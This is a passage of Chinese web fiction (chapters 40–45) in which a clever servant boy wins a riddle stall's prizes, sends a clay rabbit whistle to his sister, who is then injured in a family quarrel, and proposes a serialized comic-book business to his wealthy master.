《寒门书童:高中状元,你们卖我妹妹?》 第40章 猜灯谜?陈平川把摊主整不会了! “大哥!大哥快看!那边好热闹啊!”张金宝眼尖,一眼便发现在不远处,有一处围满了人的摊位,他立刻兴奋地拉着陈平川,奋力挤了过去。 那是一个悬挂着各色彩灯的灯谜摊。 摊主是个约莫四十来岁,身形精瘦的中年男子,穿着件半旧的青布直裰,下巴微微扬起,脸上带着几分自得。 他身后的摊位前悬挂的彩灯之上,都工整地贴着用红纸写就的谜面,一文钱猜一次。 至于奖品,则是一些孩子们看了便会喜欢的精致玩意儿,五颜六色,看起来颇为诱人。 不少人正围在那里,对着那些灯谜指指点点,窃窃私语,偶有人尝试,却鲜少能猜中。 张金宝见状,顿时来了兴致,他最是喜欢凑这种热闹。 他仰着小脑袋,努力辨认着一个挂在灯笼下方的谜面,念道:“弟兄七八个,围着柱子坐,只要一分开,衣服就扯破……这是什么呀?” 他苦恼地搔了搔后脑勺,一张小脸憋得通红,冥思苦想了半天,也没能想出个所以然来。 任管家在一旁看着,并不参与,不过心里也觉得这些灯谜颇有难度。 张静姝则被摊位上一个做得极为精致的蝴蝶风筝吸引了全部目光,那风筝的翅膀薄如蝉翼,上面绘着绚丽繁复的花纹,仿佛随时都会振翅飞去。 她立即挑了个看起来简单些的谜面试了试:“红公鸡,绿尾巴,一头钻到地底下。” 她歪着小脑袋,凝神想了一会,有些不确定地嘟囔了个“红薯?” 摊主脸上带着公式化的笑容,轻轻摇了摇头。 张静姝又试了两次,均未猜中,顿时有些不高兴,小嘴微微一撇。 “哼,什么破灯谜,一点意思都没有!”她小声抱怨道,但还是对那蝴蝶风筝念念不忘。 陈平川看着兄妹俩那副又急又恼的模样,唇角不由得微微勾起一抹浅笑。 他先是对着张金宝说道:“少爷,你这个迷题是蒜。” 张金宝闻言,眼睛瞬间一亮,“蒜?对啊!蒜瓣不就是弟兄七八个嘛,剥开的时候可不就是衣服扯破了!哈哈,我知道了!” 他立刻兴奋地朝摊主喊出了答案。 摊主闻言微微一愣,随即点头道:“这位小少爷猜对了,奖品任选一个!” 张金宝得意洋洋地挑了个威风凛凛的武士造型的面人,喜不自胜。 陈平川又转向张静姝,轻声说道:“小姐,你先前那个灯谜的答案,是你最不喜欢吃的一种东西,但小兔子却非常喜欢吃它。” 张静姝眨了眨黑白分明的大眼睛,片刻之后,脸上露出恍然的神色,脆生生地答道:“胡萝卜!” “这位小姐也猜对了!”摊主脸上的笑容依旧,将张静姝心心念念的蝴蝶风筝递过来。 张静姝欢喜地抱在怀里,眼睛里有光在闪动。 周围的人见陈平川接连猜中迷题,不由得纷纷侧目,觉得有些稀奇。 张静姝被勾起了兴致,她指着那些琳琅满目的灯谜,带着一丝挑战的意味看向陈平川,问道:“喂,臭书童,这些灯谜,你能解开几个?” 陈平川只是淡淡一笑,目光在摊位上的所有谜面上一扫而过,随手指着其中一个,清晰地念道:“麻屋子,红帐子,里面住着个白胖子。” 不等那摊主有任何反应,他便悠悠然吐出两个字:“花生。” 摊主脸上的笑容微微一滞,但还是点了点头:“又对了。” 接下来,陈平川便如同开了神助一般,势不可挡。 “小时青青老来黄,身披无数小衣裳,手扶拐杖叮当响,田里唱歌它最忙。” 他声音平静无波:“稻谷。” “有头无颈,有眼无眉,无脚能走,有翅难飞。” 他甚至连思考的停顿都没有:“鱼。” “一条白龙马,浑身没有鳞,日行千里路,能渡万家人。” “船。” 无论是常见的字谜、物谜,还是那些稍微化用了些诗句的雅谜,到了陈平川这里,几乎都是在他念出谜面之后,便应声而解,没有丝毫的拖泥带水。 他那份远超这个时代同龄孩童的广博知识储备,引得围观的百姓爆发出一阵又一阵压抑不住的惊呼。 “哎哟!这小娃娃可真是太厉害了!” “神了!简直神了!就没他猜不出来的!” 摊主起初还勉强维持着微笑,渐渐地,他额头上开始渗出细密的汗珠,脸上的笑容也变得越来越僵硬,额头上的汗珠,开始滚落,心中叫苦不迭。 无奈之下,他只得将压箱底的那几个自认为极难的迷题也一并挂了出去。 他甚至开始临时思索着将一些谜面进行组合变化,试图以此增加一些难度,挽回一点颜面。 然而,无论他如何绞尽脑汁地变换花样,陈平川总能一眼看破其中的玄机,从容不迫地道出谜底。 张金宝和张静姝面前的奖品,越堆越多,几乎快要拿不下了。 各色糖人、造型各异的面人、小巧的拨浪鼓、仿制的九连环……先前还琳琅满目的奖品台,开始变得空荡起来。 张金宝怀里抱着一大堆战利品,嘴巴乐得几乎合不拢,兴奋地不停地喊着:“大哥威武!大哥再来一个!把他的摊子都赢过来!” 张静姝虽然不像她哥哥那般将情绪外露,但她紧紧抱着那个心爱的蝴蝶风筝,又看着身旁堆积如山的小玩意儿,那双乌黑的眼珠里也闪烁着难以掩饰的兴奋光芒,嘴角不自觉地上扬。 摊主看着几乎被搬空了一大半的奖品台,脸上的肌肉不受控制地不停抽搐着,他手中用来擦汗的汗巾,都快要被他拧出水来了。 他指着依旧气定神闲的陈平川,声音发颤:“你……你这娃娃……莫不是专门来砸我场子的吧?” 他此刻心中哀嚎,今天出门定是没看黄历,怎么就碰上这么个小煞星!这点本钱都要被赢光了! 陈平川摊了摊手,露出一脸无辜,回应道:“这些奖品,都是我们凭真本事赢来的,绝对没有作弊,大家可都看着呢。” 他这话说的在情在理,摊主被噎得哑口无言,一张脸憋成了猪肝色。 就在这时,围观的人群中,忽然有人发出了一声惊呼。 第41章 刁蛮千金:我给你的,不收也得收! “等等!我想起来了!这小娃娃……不就是前几日在文山书院,舌战吴子虚,还作出那‘为天地立心,为生民立命,为往圣继绝学,为万世开太平’的……那个惊才绝艳的小书童吗?!” 此言一出,原本就喧闹的人群,顿时如同滚油中被泼入了一瓢冷水,彻底炸开了锅! “原来是他!是他啊!难怪如此了得!那可是连院监大人都赞不绝口的神童啊!” “啧啧,真是神童降世啊!这脑子到底是怎么长的!我们这些人还在为几个迷题愁眉苦脸,人家已经能说出那等惊世之言了!” 议论声,赞叹声,钦佩声,此起彼伏,一浪高过一浪。 摊主听闻陈平川的赫赫名头,更是当场傻了眼,呆立在原地。 怪不得,怪不得啊! 他今天这是踢到了铁板,最后一点不甘心,都化作了认命的苦笑。 陈平川见那摊主已经面如土色,一副生无可恋的模样,也知道凡事过犹不及的道理,便轻轻拉了拉兀自兴奋不已的张金宝的衣袖。 “少爷,小姐,咱们得了这么多奖品,也该去别处逛逛了,莫要耽误了老板的生意。” 张金宝此刻对陈平川的佩服,早已达到了五体投地的地步,自然是言听计从,连连点头。 张静姝紧紧抱着那个大大的蝴蝶风筝,嘴角的弧度抑制不住地上扬,也没有表示反对。 于是,三人在众人既敬佩又羡慕的目光中,带着一大堆“战利品”,心满意足地挤出了人群。 “我大哥就是厉害!”张金宝挺起小胸膛,与有荣焉,仿佛那些灯谜都是他亲手猜中似的。 张静姝瞥了陈平川一眼,小巧的鼻翼轻轻翕动。 “算你这小书童还有点用,没让我白跑一趟。”她顿了顿,从怀里摸出一块用油纸包着的桂花糕,递了过去,“喏,赏你的!” 陈平川的目光,凝在那块桂花糕上。 脑子里,倏然闪过前那些“加料”的饭菜。 眼神,几不可察地微微一闪。 没有立刻伸手去接。 张静姝见他这副磨磨蹭蹭的样子,哪还不明白! 这小书童,心里头铁定还记恨着她下药那档子破事! 她那对细长的柳眉,唰地一下就倒竖了起来! 鼻腔里,重重地“哼”了一声! “爱吃不吃!” “本小姐赏你的东西,还能怕里面有毒不成?!” 她越想越气,这小书童简直不识抬举,竟敢怀疑她张大小姐的人品! 张静姝索性手腕一甩,那包桂花糕“啪”地一声,被她丢在了地上! 她一张俏脸气得鼓鼓囊囊。 “你害怕就别吃!当我稀罕给你!” 陈平川瞅瞅那块可怜的桂花糕,再瞅瞅旁边那位噘着嘴、扭着头,满脸写着“我超生气,你快来哄我啊”的大小姐。 他心中涌上一股哭笑不得的感觉。 这小丫头的脾气,简直比戏台上的变脸还快,实在让人头疼。 就在这时,陈平川的视线,不经意间扫过旁边一个货郎的摊子。 摊上,一排排小巧玲珑的泥塑彩绘“泥叫叫”,摆放整齐。 小狗,小猫,还有喔喔叫的大公鸡。 其中一个,捏成了白白胖胖的小兔子模样。 长长的耳朵,红红的眼睛,憨态可掬,简直萌死个人。 他的脚步,不由自主地就挪了过去。 视线,停留在那兔子泥叫叫上,想起了家里的妹妹陈平玉。 他记得清清楚楚,妹妹最是喜欢兔子。 若是得了这么个精巧的小玩意儿,还不定得欢喜成什么样子。 张静姝生着闷气,眼角的余光一直偷偷往陈平川那边瞟。 见他直勾勾盯着那泥叫叫的摊子,她也顺着他的目光望了过去,发现了那个小兔子泥叫叫。 她又飞快地瞥了陈平川一眼,小脑袋瓜里念头电转,下一刻,迈开她那两条小短腿,噔噔噔,径直走到了摊位前。 她连价都懒得问,直接从精致的荷包里摸出几文铜钱,“啪”地往摊主面前一丢。 玉指一点那兔子泥叫叫:“这个,本小姐要了!” 摊主眉开眼笑地收了钱,麻利地将那兔子泥叫叫递给了她。 张静姝捏着那小兔子,看也不看,直接往陈平川怀里一塞! 依旧板着那张娇俏的小脸,冷冰冰地开口:“喏,这个也赏你了!” 她顿了顿,下巴微微扬起,那股子傲娇劲儿又上来了,语气带着高傲。 “本小姐,从来不欠别人的人情!” “你方才,帮我赢了那个大蝴蝶风筝,这个小东西,就算我们俩扯平了!” “你要是不收……哼!你要是敢不收,我现在就把它摔个稀巴烂!” 陈平川低头,看着静静躺在自己手心的小兔子泥叫叫。 触手细腻温润,彩绘鲜亮夺目。 他再抬眼看看眼前这个,明明是好心,却偏要摆出一副“你敢不从就死定了”凶巴巴表情的张静姝。 他还能说什么? 只能无奈地将小兔子小心翼翼揣进怀里。 这份突如其来的变故,让他对这位口是心非、脾气古怪到极点的小姐,又多了几分复杂观感。 这丫头,似乎……也不是那么不讲道理嘛。 庙会上的喧嚣渐渐远去,夕阳的余晖将一行人的影子拉得老长老长。 张金宝怀里抱着一大堆零零碎碎的奖品,嘴巴咧得快要挂到耳根子上了。 一路上,他那张小嘴就没停过,叽叽喳喳,全是翻来覆去地夸赞陈平川如何如何厉害。 张静姝则抱着那个最大的蝴蝶风筝,小嘴依旧时不时地要埋汰陈平川几句。 但她那弯弯的眉眼间,那抹怎么也藏不住的笑意,却早已出卖了她心底的欢喜。 几人满载而归,说说笑笑,气氛倒也融洽,一路回了张府。 刚一踏进府门,张静姝便像一只归家的乳燕,抱着她那心爱的蝴蝶风筝,连蹦带跳地冲向了后院孙氏的屋子。 “娘!娘!您快看呀!这是女儿今天赢回来的大风筝!漂亮吧?” 张静姝献宝似的将风筝高高举到母亲孙氏面前,小脸上写满了得意与兴奋,仿佛打了场大胜仗。 孙氏闻声抬起头来。 见女儿这般欢天喜地的模样,她脸上也立刻漾起了温柔如水的笑意。 “哦?我的姝儿今日这般厉害,竟能赢回来这么大一个风筝?”孙氏伸出手,轻轻抚摸着女儿柔软的头发。 张静姝用力地点着她的小脑袋,像只啄米的小鸡:“是呀是呀!娘您都不知道,多亏了那个臭书童!” “他可聪明了!那些人出的灯谜,一个个都刁钻古怪得很,他倒好,眼睛一瞟,答案就出来了!” 孙氏听着,眼波几不可察地微微一动。 最近这些日子,从女儿口中提及那个名叫陈平川的小书童的次数,似乎……越来越多了。 她心中暗自忖度:看来,得寻个空闲,亲自去瞧瞧。 这到底是个什么样的小人儿。 竟能让她这个自小娇惯、眼高于顶的宝贝女儿,也这般时常挂在嘴边,言语间还带着几分说不清道不明的佩服。 第42章 熊孩子逞凶!一只兔子引发血案! 第二日,晨曦微露,天边泛起鱼肚白。 陈仲和怀揣着一颗火热焦灼的心,脚步匆匆,来到了张府的后角门。 他几乎是央求着,才让任管家通融,见到了儿子陈平川。 一见面,陈仲和便急不可耐地压低了嗓音,语气急切:“平川,石头全都卖出去了!” “那些个城里的老爷太太们,简直是抢疯了!爹寻思着,这路子这么好,咱们……咱们什么时候能再画上一些?趁着这股子热乎劲儿,咱得多赚点银子!” 他只字未提赎身银子被张盛财抬价到一百两的事,生怕给儿子平添忧虑。 陈平川静静地看着父亲,轻声劝道:“爹,石头画,不能再像上次那样急着卖了。” 他解释道:“物以稀为贵。那些富家子弟,买的不仅仅是石头画,更是一份新奇和独有的体面。” “咱们得吊着他们的胃口,细水长流,才能把这石头的价钱稳住,甚至卖得更高。” 陈仲和听得一愣一愣的,嘴巴半张着,似懂非懂。 陈平川继续耐心解释:“而且,爹您想,这画石头的法子,并不难,有心人多琢磨琢磨,用不了多久就会有人依葫芦画瓢,学了去。” “到时候,若是满大街都是这种画石头的,咱们的石头,也就卖不上价了。” “所以,我们必须尽快找到一个新的、更稳妥的赚钱门路,那才是长久之计。” 陈仲和嘴唇翕动了几下,想说些什么,最终却只是化作一声闷闷的“哦”。 儿子说得头头是道,他虽然不明白其中关窍,但也清楚,儿子的见识远胜于他。 只是……那一百两的赎身银子……怕是又要往后拖延了。 一股难以言喻的失落,悄然爬上心头。 但他很快便将这股情绪压了下去,没有在儿子面前流露出分毫。 “爹,这个您带回去,给平玉玩。”陈平川从怀里摸出那个憨态可掬的兔子泥叫叫,递到父亲粗糙的手中。 “路上当心些,替我照顾好娘和妹妹。” 陈仲和接过那只小巧玲珑的泥兔子,入手微凉,他重重地点了点头,将那份复杂的心情和儿子给妹妹的礼物一同揣进怀里,转身踏上了回家的泥泞小路。 陈仲和回到家中时,日头已有些偏西。 他一眼便瞧见,在院子角落里,女儿陈平玉正蹲在地上,小手费力地帮着罗氏捡拾散落的柴火,小小的身影显得那样单薄。 他快步走上前,从怀中掏出那个兔子泥叫叫,递了过去。 “平玉,你瞧,这是哥哥托爹带给你的。” 陈平玉抬起头,一双乌溜溜的大眼睛先是茫然,待看清父亲手中的东西时,小脸上顿时绽放出惊喜。 “呀!好漂亮的小兔子!” 她欢呼一声,小心翼翼地接过泥叫叫,宝贝似的捧在手心。 她把泥叫叫凑到小嘴边,鼓起腮帮子轻轻一吹。 “呜——呜——” 清脆悦耳的声音,在小小的院落里回荡开来。 平玉爱不释手,拿着泥叫叫在院子里蹦蹦跳跳地玩了起来,那清脆的“呜呜”声,很快便吸引了陈家其他的孩子。 陈家长孙,三房的陈平西,小名虎子,比平玉大上一岁,正是猫狗都嫌的年纪。 他听到声音,循声而来,一眼就瞧见了平玉手中那个从未见过的新奇玩意儿。 虎子眼睛骤然一亮,二话不说,霸道无比地就冲了过去。 “给我玩玩!”他伸出胖乎乎的小手,劈手就要抢。 平玉吓了一跳,连忙将泥叫叫紧紧护在怀里,小脑袋摇得像拨浪鼓。 “不给!这是哥哥给我的!” 虎子见她不肯,平日里被王氏骄纵惯了的霸道性子顿时发作。 他小脸涨得通红,恼羞成怒,竟猛地伸出手,狠狠一推! 瘦弱的陈平玉哪里经得住他这一下,小小的身子一个踉跄,站立不稳。 只听“咚”的一声闷响,她的后脑勺,不偏不倚,重重磕在了院中台阶那尖锐的石棱上! 霎时间,一股温热的鲜血,便顺着她乌黑的发丝汩汩流淌下来,染红了她的小小后颈。 虎子见平玉头上见了血,自己也吓了一跳,小脸煞白。 但他眼珠子滴溜溜一转,竟一屁股坐在地上,“哇”地一声嚎啕大哭起来,那哭声之响亮,比头上鲜血直流的陈平玉还要凄厉几分! “呜哇哇……她打我!陈平玉打我!呜呜呜……” 他一边哭喊着,一边用眼角余光瞥见掉落在地上的兔子泥叫叫。 这小混蛋心中怒气未消,竟捡起来,使出全身力气往地上一摔! “啪嚓!” 一声清脆的碎裂声响。 那只刚刚还给平玉带来无限欢喜的白胖胖的泥兔子,瞬间四分五裂,变成了一地冰冷的碎片。 虎子指着地上那堆不成形的碎片,又指着捂着头、哽咽抽泣的陈平玉,大喊道:“不就是个破泥巴捏的玩意儿!谁稀罕!” 远远看着这一切的,三房陈仲武的十岁女儿——陈平香,嘴角不屑地撇了撇,露出一抹讥诮。 不过是个不值几个铜板的泥巴玩意儿,也值得这么争抢?真是没见过世面的穷酸样! 当她看到平玉头上缓缓渗出的血迹时,眼中非但没有同情,反而闪过一丝隐秘的幸灾乐祸。 她抱起了手臂,饶有兴致地继续望向这边,等着看一场与己无关的热闹。 大房陈仲和的女儿,十二岁的陈平娇,则嫌恶地皱紧了眉头,满脸都是鄙夷。 这些弟弟妹妹,整日里不是吵吵闹闹,就是为些鸡毛蒜皮的小事打得头破血流,实在是粗鄙不堪, 自己究竟是倒了什么霉,才会投生在这样的人家?要和这些泥腿子混在一起生活? 哼,等自己长大了,一定要风风光光地嫁入高门大户,再也不要过这种苦日子! 她心中那想要早日脱离这个穷酸农家的念头,变得越发迫切。 这边的撕心裂肺的哭喊声和尖叫声,很快便惊动了屋里的众人。 罗氏如同母豹般第一个从屋里冲了出来。 紧随其后的是刚刚放下担子的陈仲和。 接着,陈老太爷、陈老太太,以及大房的陈仲文夫妇和三房的王氏,也都乌泱泱地涌了出来。 罗氏一眼便看见女儿头上那刺目心惊的血红,还有地上那被踩得粉身碎骨的泥叫叫碎片。 而虎子却安然无恙地坐在地上撒泼打滚,指着自己受伤的女儿颠倒黑白! 一股难以遏制的怒火,“轰”地一下,如同火山爆发般直冲罗氏的脑门! “你个小畜生!看我不撕了你的嘴!”罗氏双眼瞬间变得赤红,几步冲上前就要找陈平西算账。 第43章 方先生一语惊醒梦中人,陈平川茅塞顿开 王氏眼疾手快,如同一只护崽的母鸡,尖叫一声,一把将罗氏死死拦腰抱住。 “二嫂!二嫂你这是要做什么!我家虎子还是个孩子啊!你发什么疯!” 陈仲和看着女儿额角不断渗出的鲜血,又看看地上那堆已经看不出原样的泥兔子碎片。 他心如刀割,嘴唇哆嗦着,想要说些什么,却讷讷地说不出半句,只有胸膛剧烈地起伏着。 陈老太太早已一个箭步冲过去,将她的宝贝孙子陈平西一把搂进怀里,嘴里不停地哄着:“哎哟,我的乖孙不哭,不哭,奶奶在呢,看谁敢欺负我的虎子!” 她根本不问青红皂白,也不看一眼头上流血的平玉,便扭过头,厉声冲着罗氏呵斥道:“老二家的!你凶什么凶!虎子才多大一点儿!肯定是你家平玉不懂事,先招惹了虎子!不然我们虎子好端端的怎么会哭!” 陈老太爷也沉着一张满是褶子的老脸,浑浊的眼睛冷冷地瞪着罗氏,显然是更相信自己爱孙那颠倒黑白的说辞。 大房刘氏皮笑肉不笑地开了口,声音尖细:“哎呀,二弟妹,孩子家在一块儿玩,打打闹闹也是常有的事。平玉这孩子也是,不就是一个不值钱的破泥偶吗?让给虎子玩玩不就好了?至于这么金贵吗?” 一旁的陈仲文则适时地摇了摇头,慢条斯理地说道:“哎,平玉这孩子,不懂得谦让。虎子贤侄今日,怕是受了不小的惊吓啊。” 王氏紧紧护着怀里还在假哭抽噎的儿子,阴阳怪气地帮腔道:“就是啊!我们家虎子平日里多乖巧懂事,怎么会平白无故地去欺负人?我看啊,肯定是平玉这丫头先动的手!再说了,这是什么破烂泥叫叫,我家虎子早就玩腻了,压根儿就看不上眼!” 罗氏看着这一屋子偏袒不公、虚伪至极的陈家人,听着他们一句句颠倒黑白、刺人心窝的话语,恨不得扑上去将他们都咬死! 她一把推开王氏,冲过去将还在瑟瑟发抖的陈平玉紧紧抱进怀里。 感受到女儿小身体的颤抖和头上湿热的鲜血,罗氏的泪水再也忍不住,如同断了线的珠子般夺眶而出。 “娘带你去看大夫!”罗氏咬着牙,声音因极致的愤怒和心痛而颤抖,抱着女儿头也不回地往院外冲去。 陈仲和看着妻女踉跄而去的背影,胸口憋闷得厉害,重重地叹了口气,也跟了出去。 陈平西从王氏的怀里偷偷探出小脑袋,冲着一家三口远去的背影,得意洋洋地做了一个鬼脸,眼中满是小人得志的神气。 …… 父亲陈仲和走后,陈平川的心海,却像是被投下了一块石头,波澜不止。 银子! 如何才能尽快弄到更多的银子? 如何才能让娘亲和妹妹,真正过上好日子? 这石头画的路子,正如他先前所料,终究不是长久之计。 一旦有人琢磨透了其中的门道,模仿者必然蜂拥而至。 必须得想个一个真正能让他陈平川,在这大业朝站稳脚跟,护住家人的法子! 思绪如潮水般翻涌,窗外,早课的钟声悠悠响起。 书房内,朗朗书声回荡。 方先生今日讲的是《千字文》。 陈平川端坐在张金宝身侧,手里捧着书卷,眼神却飘忽不定,脑子里塞满了赚钱的念头,思绪纷飞。 方先生眼角余光轻轻一扫,便察觉到了陈平川今日的异样。 这小子,往日里听讲,那双眼睛亮得跟天上的星辰似的。 今天这是怎么了?魂不守舍的。 他眉头几不可察地微微一蹙,却并未当堂发作。 面上依旧古井无波,继续着他的讲授。 “……盖此身发,四大五常。恭惟鞠养,岂敢毁伤……” 课毕。 方先生放下手中的书卷,声音平淡:“陈平川,你随我来一趟。” 张金宝闻言,身子猛地一颤,小脑袋瓜“嗖”地转向陈平川,圆溜溜的眼睛里写满了担忧。 完了完了! 依照他这些日子挨训的经验,以及对方先生脾性的了解,平川哥这次怕是凶多吉少! 他小眼珠子滴溜溜一转。 待到陈平川跟着方先生的背影消失在书房门口,他立刻像只小老鼠,鬼鬼祟祟地溜到了书房外。 身子紧紧贴在门板上,脑袋瓜凑到了窗户纸前。 他屏住呼吸,竖起耳朵,紧张兮兮地偷听起来。 书房内。 陈平川垂手而立,心中不免有些忐忑。 先生单独留下自己,会是什么训示? 然而,出乎他的意料。 方先生并未像往常考校功课那般板起面孔,语气中,竟还带着温和。 “平川,你今日上课之时,似乎心事重重,可是家中……遇到了什么难处?” 陈平川微微一愣。 他感受到了方先生语气中那份真切的关怀,一股暖流瞬间淌过心间。 他没有选择隐瞒,恭恭敬敬地回道:“回先生的话,学生家中,确实……有些拮据。” “母亲身子骨一直不大好,妹妹又尚且年幼……学生……学生总想着,为家里分担些许,赚些银钱,也好让她们过得舒坦些。” 方先生闻言,捻了捻颌下的花白胡须,发出一声轻轻的叹息。 “唉,你这份孝心,着实可嘉。只是,你如今年纪尚小,又能帮上什么大忙呢?” 陈平川抬起头,目光坚定:“先生,学生不求能帮上天大的忙,但求能尽己所能。” “哪怕只是能让母亲少操劳一分,让妹妹能多一块糖吃,学生也心满意足了。” 方先生被陈平川这番质朴却真挚的话语触动了。 他缓缓踱了两步,缓缓道。 “平川,你可知,‘独柯不成树,独树不成林’?” 方先生的声音带着一丝悠远。 “若你想做成一番事,当谨记八个字——善假于物,另辟蹊径。” “集众人之智,聚众人之力,方能事半功倍!” 善假于物! 另辟蹊径! 这八个字,如同一道惊雷,骤然在陈平川的脑海中炸响! 又似一盏明灯,瞬间照亮了他先前混沌的思路! 第44章 最佳合作伙伴,张财主狂喜! 对啊! 自己怎么就钻了牛角尖了! 单靠自己一个人画那些石头画,或者琢磨些零敲碎打的小点子,终究是小打小闹,来钱慢不说,还极容易被人学了去,抢了先机! 张盛财! 这不就是现成的“可借之物”吗?! 张家家财丰厚,在这庐州府地面上,也算是有头有脸的人物。 更重要的是,张盛财手底下,可是有不少铺子和得力的人手! 若是能借助张家的财力、人力,还有那成熟的渠道…… 一个无比大胆,却又让他激动不已的念头,如雨后春笋般,在他小小的脑袋里迅速成型! 《西游记》的故事,不能再像之前那样,零敲碎打,只讲给张家兄妹听了! 那太浪费了! 完全可以效仿他前世所见的连环漫画! 将《西游记》的故事,一回一回地精心绘制出来,每一幅画都配上简短凝练的文字说明。 然后,将这些画页装订成册! 定期推出新的章节,就像那些说书先生吊听众胃口一般,利用故事本身的无穷魅力和连续性,死死勾住那些富家少爷、千金小姐的心! 让他们一册接一册地买!欲罢不能! 这可比单纯卖几块破石头画,要稳妥得多,赚得也多得多! 而且,这故事的精髓,这画风的巧妙,全在自己脑子里! 别人就算想模仿,短时间内,也休想模仿到其中的灵魂! 窗外。 张金宝将耳朵贴得更紧了,却听得云里雾里,一知半解。 他只模模糊糊听明白了,平川哥家里很穷。 他娘亲生了病,妹妹年纪还小。 平川哥想赚钱养家! 哎呀! 平川哥原来这么可怜啊…… 一股浓浓的同情心,瞬间在他小小的胸腔里泛滥开来,几乎要满溢出来。 不行! 以后我一定要对平川哥更好一些! 对!非常好! 有什么好吃的,都分他一半! 有什么好玩的,也带他一起! 书房内。 陈平川越想越觉得此计大有可为,那双黑亮的眼睛里,闪烁着兴奋光芒。 他朝着方先生,深深地鞠了一躬: “多谢先生指点迷津!学生茅塞顿开!” 方先生见他一点即透,眼中露出一抹赞许的微笑,微微颔首。 孺子可教也。 陈平川再次谢过先生,一颗心早已飞到了九霄云外,脑中全是那即将铺开的宏伟蓝图。 待到授课结束。 陈平川片刻也不耽搁,拔腿便朝着前院张盛财的书房跑去。 刚跑到前院月亮门,便见张盛财挺着他那标志性的圆滚滚的大肚子,满面红光地从外面回来。 看样子,像是刚应酬完酒席,心情颇为不错。 陈平川眼睛一亮,机会来了! 他几步抢上前,稳稳当当站在张盛财面前,深揖一礼,声音清朗: “小的陈平川,拜见老爷!” 张盛财闻言,脚步微微一顿,低头看向这个还没自己大腿高的小小书童。 “哦?是平川啊。” 他眯了眯眼,带着几分酒后的微醺,问道:“你小子找我,可是有什么事?” 陈平川抬起头,目光炯炯地说道: “回老爷的话,平川不才,近日偶得一计!” “此计若能顺利施行,或可为张府,开辟出一条全新的财源!” “其利,胜过寻常生意百倍不止!” 张盛财一听这话,先是一愣。 随即,他上下打量了陈平川几眼。 这小家伙,人不大,口气倒是不小! 他“嘿”的一声笑了出来,脸上的肥肉跟着一颤一颤。 “哦?你这口气倒是不小啊!” “胜过寻常百倍的财源?” 他饶有兴致地摸了摸自己圆润的下巴。 “走!随我到书房里去!” “仔仔细细,说给老爷我听听!” “若是真有那么些道道,老爷我啊,重重有赏!” 张盛财笑着拍了拍陈平川的小肩膀。 张府书房内。 陈平川静立书案前。 张盛财则大马金刀地稳坐太师椅。 他那张圆脸,此刻因酒意泛着红光。 一双小眼睛半眯着,带着审视。 “老爷,平川想到的这个法子,便是将那《西游记》的故事,画下来。” 陈平川吐字清晰,条理分明。 “《西游记》?画下来?”张盛财咂摸了一下这两个词,没明白什么意思。 “对。”陈平川肯定道,“就像那些庙宇里墙壁上的彩绘一般,一幅接着一幅,每一幅画都描绘一段精彩情节。” “旁边再配上些许简明扼要的文字解说。” “如此一来,即便是不识字的百姓,也能看个热闹非凡;而识字的读书人,则更能领会其中精妙。” 他伸出小手,在空中比划着。 “咱们可以将《西游记》的故事,分割成若干卷册。” “譬如,‘猴王出世’可为一卷,‘大闹天宫’又可为一卷。” “每隔一段时日,便推出全新的一卷,引人期待。” “画作务求精细入微,装订亦要考究美观。” “那些富贵人家的少爷小姐们,见了这等新奇玩意儿,必定会爱不释手!” 陈平川的目光,甚至已经投向了更长远的未来。 “我们还可以推出所谓的‘初版典藏’,印刷数量稀少些,售价自然也要高昂些。” “日后,待故事完结,更能推出‘珍藏全本’,供人传家!” 张盛财听着,原本因酒意而略显迷蒙的眼神,渐渐被一种炽热的光芒所取代。 他猛地一拍大腿,发出“啪”的一声脆响! “等等!你小子给老爷我等等!” “前些日子,那些府上的人哭着喊着派人来找你,说是要什么会说话的石头,莫非……莫非就是这《西游记》里头的人物?!” 陈平川平静地点了点头。 “回老爷的话,正是。” 张盛财虽然不通文墨,也没听过《西游记》的故事,对什么“连环画”更是闻所未闻。 但他浸淫商海大半辈子,商业嗅觉那是绝对灵敏! “会讲故事的……连环画……”他口中喃喃自语,一双小眼睛里,精光暴射而出! 这等奇思妙想的玩意儿! 别说整个庐州府了! 怕是放眼整个大业朝,都是独一份的买卖! 陈平川见他已然心动,立刻趁热打铁。 “老爷您想啊,那些小少爷、小小姐们,一旦迷上了这孙悟空如何降妖伏魔,下一回那唐僧师徒又会遭遇何等劫难……” “他们能不哭着、闹着,求着爹娘买下一本吗?” “到时候,别家的孩子人手一套,自家孩子却没有,那岂不是大失颜面?” “那些富家子弟,为了攀比,为了炫耀,定会争先恐后地收集一整套!” “将这精美的画册摆在书房里,那该是何等的气派!” 张盛财听得口舌生津,双眼放光。 他仿佛已经看见,那白花花的银子,正如同决堤的洪水一般,汹涌澎湃地涌入他张家的库房! 他“腾”地一下从太师椅上站了起来! 肥硕的肚腩,也跟着剧烈地一颤一颤。 “好小子!好小子啊!” “你这小脑袋瓜子,到底是怎么长的!这主意,简直绝了!” 他一把抓住陈平川的肩膀,咧开的大嘴几乎要咧到耳根。 “就按照你说的办!” “你出点子,老爷我出钱!出人!出渠道!” “将来赚了银子,咱俩……一人一半!如何?!” 第45章 免我赎金但要干十年?想得美! 陈平川闻言,却轻轻地摇了摇头。 “老爷厚爱,平川心领了。”他躬了躬身,姿态谦逊。 “但这利润分成,平川不敢奢求五成。” “平川只要三成,便已足够。” 张盛财脸上的笑容微微一滞,收敛了几分。 “三成?” “小子,你这可是日进斗金的点子!五成是你应得的!” 陈平川抬起头,目光平静。 “老爷,这桩生意若能成事,全赖您出资、出人,更要承担其中的风险。” “您才是顶梁柱,掌舵人。” “平川不过是动了动嘴皮子,说了些尚不成熟的浅薄想法,能得三成利润,已是天大的恩赐了。” 他微微停顿了一下,声音里带着一丝少年不该有的老成。 “再说,平川如今毕竟年纪尚小,手中掌握过多的银钱,未必是什么好事,反而容易招来不必要的祸端。” “平川更希望能借着这个千载难逢的机会,跟在老爷身边,潜心学习如何经营生意。” “这等宝贵的经验,在平川看来,可比那金山银山,都要贵重得多!” 张盛财这人,陈平川这些日子下来,心里头已然有了个底。 骨子里是个不折不扣的生意人,精明得很,算盘珠子拨得比谁都响。 当然,也非全然冷血无情。 当初自己卖身,他能多给三两银子,便说明此人心中尚存几分善念。 但若以为这样就能随意拿捏,那就想得太简单了。 跟这种人相处,得时刻拎得清自己的身份,得琢磨透他那点心思,顺着毛摸才行。 别看他有时笑得跟弥勒佛似的,好像没什么架子。 倘若真傻乎乎地以为那是白给的,伸手就去接,那后面指不定憋着什么招呢。 所以,陈平川才退而求其次,只要三成。 但如果生意做好了,三成的收益也是非常可观的! 陈平川这番话,说得张盛财心里十分舒服。 他重新审视着眼前这个小书童。 